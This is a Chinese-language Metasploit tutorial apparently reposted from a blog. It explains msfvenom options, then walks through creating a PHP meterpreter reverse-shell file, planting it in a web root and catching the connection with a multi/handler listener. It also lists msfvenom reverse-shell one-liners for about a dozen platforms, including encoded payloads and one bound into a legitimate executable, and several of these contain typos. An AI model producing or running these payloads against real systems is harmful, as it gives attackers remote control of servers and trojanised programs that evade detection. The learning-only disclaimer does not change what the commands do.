一.msfconsole介绍
msfconsole简称msf是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种渗透文件,利用网站,手机等的漏洞将到目标靶机,操控目标靶机…这边仅供学习使用
msfconsole
注:默认kali 预装了metasploit-framework,即msfconsole命令,如果没有或提示:
msfconsole:commad not found
请自行安装:apt install metasploit-framework
生成payload时常见参数说明:
-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 指定创建好的payload的存放位置
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表
msf控制台参数运用
- banner #这个主要是查看metasploit的版本信息,利用模块数量、payload数量等等。
- use #这个是使用参数。如你要使用到某个利用模块,payload等,那么就要使用到use参数
- Search #当你使用msfconsole的时候,你会用到各种漏洞模块、各种插件等等。所以search命令就很重要。
使用命令 `help search` 可以查看具体使用方法;
其他使用方法:
查mysql:`search name:mysql`; 查joomla:`search joomla`;查ubutu漏洞:`searchsploit ubuntu 16.04`;查ms08-067漏洞:`search ms08-067`......
- show #这个命令用的很多。如果单纯的输入show,那么就会显示出所有的payload,利用模块,post模块,插件等等。但是一般我们都不这么使用。如果要显示利用模块,那么就输入show exploits。如果要显示payload,那么就输入show payloads。
参考博文地址:https://blog.csdn.net/zx77588023/article/details/119063685
二.实战
- 准备测试服务器及测试服务器环境: centos7 服务器; php运行环境,lnmp或者lamp,可简易化安装:
- 小皮控制面板:yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh
- 宝塔控制面板:yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh ed8484bec
- 通过
msf
制作反弹链接,即php 渗透文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.78.129 lport=8080 -o venom.php
解析截图:
生成的venom.php文件内容大概如下:
注:使用文件时需去掉红色框中的内容
/*
,即可正常使用!
攻击其他平台的渗透文件生成命令示例如下;注意,命令中的
Your IP Address
需要自行替换为攻击主机的IP,
Your Port to Connect On
替换为你设置的端口
- 普通生成:
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o C:\back.exe
- 编码处理型:
msfvenom -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_na -f exe -o C:\back.exe
- 捆绑:
msfvenom -p windows/meterpreter/reverse_tcp -platform windows -a x86 -x C:\nomal.exe -k -f exe -o C:\shell.exe
- Windows:
msfvenom -platform windows -a x86 -p windows/x64/meterpreter/reverse_tcp -f exe -o C:\back.exe
- Linux:
msfvenom -p linux/*86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
- MAC:
msfvenom -p osx/x86/shelLreverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
- PHP:
msfvenom -p php/meterpreterreverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
- AsP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
- Aspx:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.aspx
- JSP:
msfvenom - p java/jsp_shellreverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
- War:
msfvenom -p java/jsp_shelLreverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
- Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
- Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
- Python:
msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
- 将生成好的渗透文件上传至服务器,这边上传走的是正常的上传文件,一般情况下需要利用服务器,或者网站等一些漏洞进行渗透注入,该教程暂不演示;这边生成的是
venom.php
php网站目录文件,所以上传到自建的网站的根目录下! - 打开另外一个终端,启动msf控制面板,启动如文首一内的
msfconsole
简介,在msf控制面板依次输入以下命令:
use exploit/multi/handler #使用监听模块set payload php/meterpreter/reverse_tcp #设置tcp_php的反弹链接,和渗透文件的payload保持一致set lhost 192.168.78.129 #本机ip,与生成渗透文件的host保持一致set lport 8080#本机端口,与生成渗透文件保持一致
exploit
执行完成后会出现以下界面,然后静待有人访问网站;
访问站点链接:
当有人访问了我们上传的venom.php时,会出现如下界面,进入到meterpreter控制台:
上面表示我们已经成功控链接到网站,可自行尝试读取!以下为执行的一些命令尝试:
教程演示仅做测学习!!!!
版权归原作者 路远3306 所有, 如有侵权,请联系我们删除。